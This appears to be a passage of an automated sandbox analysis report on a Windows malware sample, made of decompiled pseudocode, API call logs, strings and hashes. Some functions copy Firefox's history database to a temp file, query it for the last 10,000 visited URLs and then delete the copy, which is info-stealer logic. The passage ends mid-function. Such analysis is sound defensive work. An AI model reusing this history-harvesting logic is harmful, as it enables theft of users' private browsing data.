								_t142 =  *0x41b384; // 0x41ca2c
								_t144 =  *((intOrPtr*)( *_t142))(_v20);
								__eflags = _t144 - 0x64;
								if(_t144 != 0x64) {
									goto L9;
								}
								E004034E4( &_v48);
								E004034E4( &_v52);
								E004034E4( &_v56);
								_t152 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v48,  *((intOrPtr*)( *_t152))(_v20, 0));
								_t158 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v52,  *((intOrPtr*)( *_t158))(_v20, 1));
								_t164 =  *0x41b1dc; // 0x41ca30
								_t166 =  *((intOrPtr*)( *_t164))(_v20, 2);
								_t220 = _t220 + 0x18;
								E004036DC( &_v56, _t166);
								_push(_v28);
								_push(0x412948);
								E00403D88( &_v84, _v48);
								_push(_v84);
								_push(0x412950);
								E00403D88( &_v88, _v52);
								_push(_v88);
								_push(0x41295c);
								E00403D88( &_v92, _v56);
								_push(_v92);
								_push(L"\r\n\r\n");
								E00403E78();
							}
						}
					}
					L9:
					_t105 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t105))(_v20);
					_t109 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t109))(_v16);
					_pop(_t198);
					 *[fs:eax] = _t198;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t213);
					 *[fs:eax] = _t213;
				}
				_pop(_t200);
				 *[fs:eax] = _t200;
				_push(E00412810);
				E00403BF4( &_v92, 4);
				E004034E4( &_v76);
				E00403BF4( &_v72, 4);
				E00403508( &_v56, 3);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x0041253c
0x0041253c
0x0041253d
0x0041253f
0x00412544
0x00412544
0x00412546
0x00412548
0x00412548
0x00412548
0x0041254b
0x0041254c
0x0041254d
0x0041254e
0x00412551
0x00412557
0x0041255e
0x0041255f
0x00412564
0x00412567
0x0041256d
0x00412574
0x00412575
0x0041257a
0x0041257d
0x00412588
0x0041258d
0x00412593
0x00412598
0x0041259b
0x004125a8
0x004125b3
0x004125c0
0x004125c5
0x004125c8
0x004125cd
0x004125d8
0x004125e3
0x004125ed
0x004125fc
0x00412607
0x00412612
0x0041261d
0x0041262c
0x00412648
0x0041264f
0x00412651
0x00412654
0x00412656
0x0041266f
0x00412676
0x00412678
0x0041267b
0x0041267d
0x00412742
0x00412746
0x0041274d
0x00412750
0x00412753
0x00000000
0x00000000
0x0041268b
0x00412693
0x0041269b
0x004126a6
0x004126b7
0x004126c2
0x004126d3
0x004126de
0x004126e5
0x004126e7
0x004126ef
0x004126f4
0x004126f7
0x00412702
0x00412707
0x0041270a
0x00412715
0x0041271a
0x0041271d
0x00412728
0x0041272d
0x00412730
0x0041273d
0x0041273d
0x00412742
0x0041267d
0x00412759
0x0041275d
0x00412764
0x0041276b
0x00412772
0x00412777
0x0041277a
0x0041278f
0x0041279d
0x0041262e
0x00412630
0x00412633
0x00412633
0x004127a4
0x004127a7
0x004127aa
0x004127b7
0x004127bf
0x004127cc
0x004127d9
0x004127e6
0x004127ee
0x004127fb
0x00412808

APIs

GetTickCount.KERNEL32 ref: 00412580
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412840,?,.tmp,?,?,00000000,0041277F,?,00000000,00412809,?,00000000), ref: 004125FC
DeleteFileW.KERNEL32(00000000), ref: 0041279D

Strings

.tmp, xrefs: 0041259B
, xrefs: 00412730
%TEMP%, xrefs: 004125BB
SELECT DATETIME(moz_historyvisits.visit_date/1000000, "unixepoch", "localtime"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000, xrefs: 00412666

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: $%TEMP%$.tmp$SELECT DATETIME(moz_historyvisits.visit_date/1000000, "unixepoch", "localtime"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000
API String ID: 2381671008-462058183
Opcode ID: d27e05bf0e2d756a7615d1886c69d2d78b2e9ebede64cbb046f61136cb4a013b
Instruction ID: 96711d942fa6cd82f2097d7fbc3cef73731e9345f18fca2529b5113db019f3e4
Opcode Fuzzy Hash: d27e05bf0e2d756a7615d1886c69d2d78b2e9ebede64cbb046f61136cb4a013b
Instruction Fuzzy Hash: 70810A71A00109AFDB00EB95DD82EDEBBB8EF48305F504536F414F72A1DB78AE568B58

Uniqueness

Uniqueness Score: -1.00%

Function 00403368, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38
filewindowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00403368(void* __ecx) {
				long _v4;
				int _t3;

				if( *0x41c034 == 0) {
					if( *0x41b024 == 0) {
						_t3 = MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
					}
					return _t3;
				} else {
					if( *0x41c208 == 0xd7b2 &&  *0x41c210 > 0) {
						 *0x41c220();
					}
					WriteFile(GetStdHandle(0xfffffff5), "Runtime error     at 00000000", 0x1e,  &_v4, 0);
					return WriteFile(GetStdHandle(0xfffffff5), E004033F0, 2,  &_v4, 0);
				}
			}

0x00403370
0x004033d0
0x004033e0
0x004033e0
0x004033e6
0x00403372
0x0040337b
0x0040338b
0x0040338b
0x004033a7
0x004033c8
0x004033c8

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,0041A212,00000000,?,00403436,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000), ref: 004033A1
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,0041A212,00000000,?,00403436,?,?,?,00000002,004034D6,004025CB,0040260E), ref: 004033A7
GetStdHandle.KERNEL32(000000F5,004033F0,00000002,0041A212,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,0041A212,00000000,?,00403436), ref: 004033BC
WriteFile.KERNEL32(00000000,000000F5,004033F0,00000002,0041A212,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,0041A212,00000000,?,00403436), ref: 004033C2
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 004033E0

Strings

Error, xrefs: 004033D4
Runtime error at 00000000, xrefs: 0040339A, 004033D9

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 0a4cf132a8cfaff0af1c5c0ffc7350712d2b813a546a0a59a711f5fd8d927d65
Instruction ID: 272384808b0d926620c8a29f01af81f970e1c010559b5e4fcbf7d036ebb79ccd
Opcode Fuzzy Hash: 0a4cf132a8cfaff0af1c5c0ffc7350712d2b813a546a0a59a711f5fd8d927d65
Instruction Fuzzy Hash: F5F09670AC03847AE620A7915DCAF9B2A5C8708F15F20867BB660744E5DBBC55C4525D

Uniqueness

Uniqueness Score: -1.00%

Function 00416780, Relevance: 12.1, APIs: 8, Instructions: 57COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004167C9
#702.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 004167E9
__vbaStrMove.MSVBVM60 ref: 004167F4
__vbaFreeVar.MSVBVM60 ref: 00416803
#648.MSVBVM60(00000003), ref: 00416817
__vbaFreeVar.MSVBVM60 ref: 00416823
__vbaFreeStr.MSVBVM60(00416847), ref: 0041683F
__vbaFreeStr.MSVBVM60 ref: 00416844

Memory Dump Source

Source File: 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __vba$Free$#648#702CopyMove
String ID:
API String ID: 443321782-0
Opcode ID: e45b737b5c8189a329cf87b1d213dc4288a6cbb80e57c30b630500f56737cc26
Instruction ID: d03bd7f9aa6859071afdfa971f5e3680120a9e5a9d239fe40cccc7f0b641b524
Opcode Fuzzy Hash: e45b737b5c8189a329cf87b1d213dc4288a6cbb80e57c30b630500f56737cc26
Instruction Fuzzy Hash: 4C21F9B4C10229EBCB00DF94DE84ADEBBB8FB48714F10421AF912B32A0DB745546CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00401934, Relevance: 9.1, APIs: 6, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00401934() {
				void* _t2;
				void* _t3;
				void* _t14;
				intOrPtr* _t19;
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t28;

				_t26 = _t28;
				if( *0x41c5ac == 0) {
					return _t2;
				} else {
					_push(_t26);
					_push(E00401A0A);
					_push( *[fs:edx]);
					 *[fs:edx] = _t28;
					if( *0x41c035 != 0) {
						_push(0x41c5b4);
						L004011CC();
					}
					 *0x41c5ac = 0;
					_t3 =  *0x41c60c; // 0x6e5ad0
					LocalFree(_t3);
					 *0x41c60c = 0;
					_t19 =  *0x41c5d4; // 0x6e6ff4
					while(_t19 != 0x41c5d4) {
						VirtualFree( *(_t19 + 8), 0, 0x8000);
						_t19 =  *_t19;
					}
					E00401234(0x41c5d4);
					E00401234(0x41c5e4);
					E00401234(0x41c610);
					_t14 =  *0x41c5cc; // 0x6e6ad0
					while(_t14 != 0) {
						 *0x41c5cc =  *_t14;
						LocalFree(_t14);
						_t14 =  *0x41c5cc; // 0x6e6ad0
					}
					_pop(_t23);
					 *[fs:eax] = _t23;
					_push(0x401a11);
					if( *0x41c035 != 0) {
						_push(0x41c5b4);
						L004011D4();
					}
					_push(0x41c5b4);
					L004011DC();
					return 0;
				}
			}

0x00401935
0x0040193f
0x00401a13
0x00401945
0x00401947
0x00401948
0x0040194d
0x00401950
0x0040195a
0x0040195c
0x00401961
0x00401961
0x00401966
0x0040196d
0x00401973
0x0040197a
0x0040197f
0x00401999
0x00401992
0x00401997
0x00401997
0x004019a6
0x004019b0
0x004019ba
0x004019bf
0x004019c6
0x004019ca
0x004019d1
0x004019d6
0x004019db
0x004019e1
0x004019e4
0x004019e7
0x004019f3
0x004019f5
0x004019fa
0x004019fa
0x004019ff
0x00401a04
0x00401a09
0x00401a09

APIs

RtlEnterCriticalSection.NTDLL(0041C5B4), ref: 00401961
LocalFree.KERNEL32(006E5AD0,00000000,00401A0A), ref: 00401973
VirtualFree.KERNEL32(?,00000000,00008000,006E5AD0,00000000,00401A0A), ref: 00401992
LocalFree.KERNEL32(006E6AD0,?,00000000,00008000,006E5AD0,00000000,00401A0A), ref: 004019D1
RtlLeaveCriticalSection.NTDLL(0041C5B4), ref: 004019FA
RtlDeleteCriticalSection.NTDLL(0041C5B4), ref: 00401A04

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: a97dbc28f13c38c5bf3baf4be54ad326516c0d2934b5cdf0557880ab185d9586
Instruction ID: f5b3729ab89c308c15893b8da70c4d7314be5901088e834fcff69d5c90a64892
Opcode Fuzzy Hash: a97dbc28f13c38c5bf3baf4be54ad326516c0d2934b5cdf0557880ab185d9586
Instruction Fuzzy Hash: F11193B17843907ED715AB669CD1B927B969745708F50807BF100BA2F1C73DA840CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00414060, Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004140A3
#585.MSVBVM60(05780000,4202A192), ref: 004140B3
__vbaFpR8.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004140B9
#648.MSVBVM60(?), ref: 004140DE
__vbaFreeVar.MSVBVM60 ref: 004140E7
__vbaFreeStr.MSVBVM60(00414109,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414102

Memory Dump Source

Source File: 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __vba$Free$#585#648Copy
String ID:
API String ID: 2434384889-0
Opcode ID: 9092e9af79d66bb939cc2a33e7ee41047e9b0305851b965d39d1daca76d88384
Instruction ID: cb161aed6929ac8c101f63007b7306dfd3d24c2c9b1f30bf2065311e54c13fdb
Opcode Fuzzy Hash: 9092e9af79d66bb939cc2a33e7ee41047e9b0305851b965d39d1daca76d88384
Instruction Fuzzy Hash: F8113CB4D00259EBCB00DFA5DA48BDEBB78FB48740F10C12AF505B6260D7785946CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00410D88, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 194
fileCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00410D88(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				WCHAR* _t74;
				intOrPtr* _t89;
				void* _t91;
				intOrPtr* _t93;
				intOrPtr* _t97;
				intOrPtr* _t125;
				intOrPtr* _t129;
				void* _t131;
				intOrPtr* _t133;
				void* _t135;
				intOrPtr* _t137;
				intOrPtr* _t143;
				void* _t145;
				void* _t151;
				intOrPtr _t171;
				intOrPtr _t173;
				intOrPtr _t179;
				intOrPtr _t183;
				intOrPtr _t184;
				void* _t185;
				void* _t186;

				_t181 = __esi;
				_t150 = __ebx;
				_t183 = _t184;
				_t151 = 9;
				do {
					_push(0);
					_push(0);
					_t151 = _t151 - 1;
					_t188 = _t151;
				} while (_t151 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t183);
				_push(0x410fe1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t184;
				E004034E4( &_v28);
				_push(_t183);
				_push(0x410f66);
				_push( *[fs:eax]);
				 *[fs:eax] = _t184;
				E0040709C(GetTickCount(), __ebx,  &_v48, __esi, _t188);
				_push(_v48);
				E00406FDC( &_v52, __ebx, __edi, __esi, _t188);
				_push(_v52);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t150,  &_v40, _t188);
				E004062FC(L"%TEMP%",  &_v60, _t188);
				_push(_v60);
				_push(0x411018);
				_push(_v32);
				E00403E78();
				E004078D8(_v56, _t150,  &_v44, _t188);
				_t74 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t74, 0xffffffff);
				E0040377C( &_v64, _v44);
				E00404B58(_v64, _t150, _t151,  &_v36, _t181, _t188);
				E00403D88( &_v68, _v36);
				if(E0040776C(_v68, _t150, _t151) != 0) {
					_t89 =  *0x41b140; // 0x41ca20
					_t91 =  *((intOrPtr*)( *_t89))(E00403990(_v36),  &_v16);
					_t185 = _t184 + 8;
					__eflags = _t91;
					if(_t91 == 0) {
						_t125 =  *0x41b1b8; // 0x41c814
						_t129 =  *0x41b2d4; // 0x41ca28
						_t131 =  *((intOrPtr*)( *_t129))(_v16, E00403990( *_t125), 0xffffffff,  &_v20,  &_v24);
						_t186 = _t185 + 0x14;
						__eflags = _t131;
						if(_t131 == 0) {
							while(1) {
								_t133 =  *0x41b384; // 0x41ca2c
								_t135 =  *((intOrPtr*)( *_t133))(_v20);
								__eflags = _t135 - 0x64;
								if(_t135 != 0x64) {
									goto L9;
								}
								_t137 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v72,  *((intOrPtr*)( *_t137))(_v20, 0, _v28));
								_t143 =  *0x41b1dc; // 0x41ca30
								_t145 =  *((intOrPtr*)( *_t143))(_v20, 1, 0x411024, _v72);
								_t186 = _t186 + 0x10;
								E004036DC( &_v76, _t145);
								_push(_v76);
								_push(E00411030);
								E00403850();
							}
						}
					}
					L9:
					_t93 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t93))(_v20);
					_t97 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t97))(_v16);
					_pop(_t171);
					 *[fs:eax] = _t171;
					E00403D88(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t179);
					 *[fs:eax] = _t179;
				}
				_pop(_t173);
				 *[fs:eax] = _t173;
				_push(E00410FE8);
				E00403508( &_v76, 2);
				E00403BDC( &_v68);
				E004034E4( &_v64);
				E00403BF4( &_v60, 6);
				E004034E4( &_v36);
				E00403BDC( &_v32);
				E004034E4( &_v28);
				return E00403BDC( &_v8);
			}

0x00410d88
0x00410d88
0x00410d89
0x00410d8b
0x00410d90
0x00410d90
0x00410d92
0x00410d94
0x00410d94
0x00410d94
0x00410d97
0x00410d98
0x00410d99
0x00410d9a
0x00410d9d
0x00410da3
0x00410daa
0x00410dab
0x00410db0
0x00410db3
0x00410db9
0x00410dc0
0x00410dc1
0x00410dc6
0x00410dc9
0x00410dd4
0x00410dd9
0x00410ddf
0x00410de4
0x00410de7
0x00410df4
0x00410dff
0x00410e0c
0x00410e11
0x00410e14
0x00410e19
0x00410e24
0x00410e2f
0x00410e39
0x00410e48
0x00410e53
0x00410e5e
0x00410e69
0x00410e78
0x00410e94
0x00410e9b
0x00410e9d
0x00410ea0
0x00410ea2
0x00410eb2
0x00410ec3
0x00410eca
0x00410ecc
0x00410ecf
0x00410ed1
0x00410f2d
0x00410f31
0x00410f38
0x00410f3b
0x00410f3e
0x00000000
0x00000000
0x00410ede
0x00410eef
0x00410f02
0x00410f09
0x00410f0b
0x00410f13
0x00410f18
0x00410f1b
0x00410f28
0x00410f28
0x00410f2d
0x00410ed1
0x00410f40
0x00410f44
0x00410f4b
0x00410f52
0x00410f59
0x00410f5e
0x00410f61
0x00410f76
0x00410f84
0x00410e7a
0x00410e7c
0x00410e7f
0x00410e7f
0x00410f8b
0x00410f8e
0x00410f91
0x00410f9e
0x00410fa6
0x00410fae
0x00410fbb
0x00410fc3
0x00410fcb
0x00410fd3
0x00410fe0

APIs

GetTickCount.KERNEL32 ref: 00410DCC
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00411018,?,.tmp,?,?,00000000,00410F66,?,00000000,00410FE1,?,00000000), ref: 00410E48
DeleteFileW.KERNEL32(00000000), ref: 00410F84

Strings

.tmp, xrefs: 00410DE7
%TEMP%, xrefs: 00410E07

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: %TEMP%$.tmp
API String ID: 2381671008-3650661790
Opcode ID: e9eb8b94419a9dd62feaad7aa77fecf23e84ca20df67958f907a767825d05a52
Instruction ID: ee23a472d3747a439df3c4e0a114333c5db2ab7a39ff8a49f746a70128ed8489
Opcode Fuzzy Hash: e9eb8b94419a9dd62feaad7aa77fecf23e84ca20df67958f907a767825d05a52
Instruction Fuzzy Hash: F0611A71A00109AFCB10EF95DC42ADEBBB8EF48315F504476F514F32A1DB79AE468B58

Uniqueness

Uniqueness Score: -1.00%

Function 00417574, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00417574(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v117;
				void* _t16;
				intOrPtr* _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t49;

				_t16 = __eax +  *__eax;
				 *_t16 =  *_t16 + _t16;
				 *[cs:eax] =  *[cs:eax] + _t16;
				_v117 = _v117 + __edx;
				_v12 = __edx;
				_v8 = _t16;
				_t5 =  &_v8; // 0x41777a
				E00403980( *_t5);
				_push(_t49);
				_push(0x41761e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t49 + 0xfffffff4;
				_t46 = GetProcAddress(LoadLibraryA("dnsapi.dll"), "DnsQuery_A");
				if(_t46 != 0) {
					_v16 = 0;
					_t37 = E00402530(0x30);
					_v16 = E00402530(0x48);
					 *_t37 = 1;
					 *((intOrPtr*)(_t37 + 4)) = _v12;
					_push(0);
					_push( &_v16);
					_push(_t37);
					_push(0);
					_push(1);
					_t11 =  &_v8; // 0x41777a
					_push(E00403990( *_t11));
					if( *_t46() == 0) {
					}
				}
				_pop(_t41);
				 *[fs:eax] = _t41;
				_push(E00417625);
				_t14 =  &_v8; // 0x41777a
				return E004034E4(_t14);
			}

0x00417574
0x00417576
0x00417578
0x0041757b
0x00417585
0x00417588
0x0041758b
0x0041758e
0x00417595
0x00417596
0x0041759b
0x0041759e
0x004175b8
0x004175bc
0x004175c0
0x004175cd
0x004175d9
0x004175dc
0x004175e5
0x004175e8
0x004175ed
0x004175ee
0x004175ef
0x004175f1
0x004175f3
0x004175fb
0x00417600
0x00417600
0x00417600
0x0041760a
0x0041760d
0x00417610
0x00417615
0x0041761d

APIs

LoadLibraryA.KERNEL32(dnsapi.dll,DnsQuery_A,00000000,0041761E,?,00000000,00000011,00000000), ref: 004175AD
GetProcAddress.KERNEL32(00000000,dnsapi.dll), ref: 004175B3

Strings

zwA, xrefs: 0041758B, 00417615, 004175F3
dnsapi.dll, xrefs: 004175A8
DnsQuery_A, xrefs: 004175A3

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll$zwA
API String ID: 2574300362-2265345817
Opcode ID: 90aa67c559d7172eef75bb1bdf1ef1801d4fe53f505304547775e4f5ded8e41e
Instruction ID: a7d4bf9b2760dea35b02269f2c10af10878945f0623a8129c970236146844d6a
Opcode Fuzzy Hash: 90aa67c559d7172eef75bb1bdf1ef1801d4fe53f505304547775e4f5ded8e41e
Instruction Fuzzy Hash: C2119070904604AED711DBA9CD52B9EBBF8DF49714F5140B7F804E72D2D6789E018B58

Uniqueness

Uniqueness Score: -1.00%

Function 00417578, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 59
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00417578(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v117;
				intOrPtr* _t36;
				intOrPtr _t40;
				intOrPtr* _t45;
				void* _t48;

				 *[cs:eax] =  *[cs:eax] + __eax;
				_v117 = _v117 + __edx;
				_v12 = __edx;
				_v8 = __eax;
				_t5 =  &_v8; // 0x41777a
				E00403980( *_t5);
				_push(_t48);
				_push(0x41761e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t48 + 0xfffffff4;
				_t45 = GetProcAddress(LoadLibraryA("dnsapi.dll"), "DnsQuery_A");
				if(_t45 != 0) {
					_v16 = 0;
					_t36 = E00402530(0x30);
					_v16 = E00402530(0x48);
					 *_t36 = 1;
					 *((intOrPtr*)(_t36 + 4)) = _v12;
					_push(0);
					_push( &_v16);
					_push(_t36);
					_push(0);
					_push(1);
					_t11 =  &_v8; // 0x41777a
					_push(E00403990( *_t11));
					if( *_t45() == 0) {
					}
				}
				_pop(_t40);
				 *[fs:eax] = _t40;
				_push(E00417625);
				_t14 =  &_v8; // 0x41777a
				return E004034E4(_t14);
			}

0x00417578
0x0041757b
0x00417585
0x00417588
0x0041758b
0x0041758e
0x00417595
0x00417596
0x0041759b
0x0041759e
0x004175b8
0x004175bc
0x004175c0
0x004175cd
0x004175d9
0x004175dc
0x004175e5
0x004175e8
0x004175ed
0x004175ee
0x004175ef
0x004175f1
0x004175f3
0x004175fb
0x00417600
0x00417600
0x00417600
0x0041760a
0x0041760d
0x00417610
0x00417615
0x0041761d

APIs

LoadLibraryA.KERNEL32(dnsapi.dll,DnsQuery_A,00000000,0041761E,?,00000000,00000011,00000000), ref: 004175AD
GetProcAddress.KERNEL32(00000000,dnsapi.dll), ref: 004175B3

Strings

zwA, xrefs: 0041758B, 00417615, 004175F3
dnsapi.dll, xrefs: 004175A8
DnsQuery_A, xrefs: 004175A3

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll$zwA
API String ID: 2574300362-2265345817
Opcode ID: 95138ad01cba8e5e83e6b9acd9d2ed769d3a92c54609d83c0de276e89a7aecd3
Instruction ID: ea46895599b20c27feb42da0d668784e66eeb00bbfd17c159799839ff483915a
Opcode Fuzzy Hash: 95138ad01cba8e5e83e6b9acd9d2ed769d3a92c54609d83c0de276e89a7aecd3
Instruction Fuzzy Hash: 7111C470904604BED711DFA9CD42B8EBBF8DB45714F5140B7F804E72C1D6789E008B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041757C, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 58
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E0041757C(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _t34;
				intOrPtr _t38;
				intOrPtr* _t43;
				void* _t46;

				_v12 = __edx;
				_v8 = __eax;
				_t3 =  &_v8; // 0x41777a
				E00403980( *_t3);
				_push(_t46);
				_push(0x41761e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t46 + 0xfffffff4;
				_t43 = GetProcAddress(LoadLibraryA("dnsapi.dll"), "DnsQuery_A");
				if(_t43 != 0) {
					_v16 = 0;
					_t34 = E00402530(0x30);
					_v16 = E00402530(0x48);
					 *_t34 = 1;
					 *((intOrPtr*)(_t34 + 4)) = _v12;
					_push(0);
					_push( &_v16);
					_push(_t34);
					_push(0);
					_push(1);
					_t9 =  &_v8; // 0x41777a
					_push(E00403990( *_t9));
					if( *_t43() == 0) {
					}
				}
				_pop(_t38);
				 *[fs:eax] = _t38;
				_push(E00417625);
				_t12 =  &_v8; // 0x41777a
				return E004034E4(_t12);
			}

0x00417585
0x00417588
0x0041758b
0x0041758e
0x00417595
0x00417596
0x0041759b
0x0041759e
0x004175b8
0x004175bc
0x004175c0
0x004175cd
0x004175d9
0x004175dc
0x004175e5
0x004175e8
0x004175ed
0x004175ee
0x004175ef
0x004175f1
0x004175f3
0x004175fb
0x00417600
0x00417600
0x00417600
0x0041760a
0x0041760d
0x00417610
0x00417615
0x0041761d

APIs

LoadLibraryA.KERNEL32(dnsapi.dll,DnsQuery_A,00000000,0041761E,?,00000000,00000011,00000000), ref: 004175AD
GetProcAddress.KERNEL32(00000000,dnsapi.dll), ref: 004175B3

Strings

zwA, xrefs: 0041758B, 00417615, 004175F3
dnsapi.dll, xrefs: 004175A8
DnsQuery_A, xrefs: 004175A3

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll$zwA
API String ID: 2574300362-2265345817
Opcode ID: 49f7f161d2a083aa30c62a6ef839c6451eb3f4c5f7006791b1443b4c6644effa
Instruction ID: e3f94ad17905d3749a36cc042419755c400cae35a044259d7baf032426d6234e
Opcode Fuzzy Hash: 49f7f161d2a083aa30c62a6ef839c6451eb3f4c5f7006791b1443b4c6644effa
Instruction Fuzzy Hash: D01151B1A14608AED711DFAACD42B9EBBF8EB48714F514076F804E72C1E6789E008B58

Uniqueness

Uniqueness Score: -1.00%

Function 00402AC4, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49
registryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00402AC4() {
				void* _v8;
				char _v12;
				int _v16;
				signed short _t12;
				signed short _t14;
				intOrPtr _t27;
				void* _t29;
				void* _t31;
				intOrPtr _t32;

				_t29 = _t31;
				_t32 = _t31 + 0xfffffff4;
				_v12 =  *0x41b018 & 0x0000ffff;
				if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Borland\\Delphi\\RTL", 0, 1,  &_v8) != 0) {
					_t12 =  *0x41b018; // 0x1332
					_t14 = _t12 & 0x0000ffc0 | _v12 & 0x0000003f;
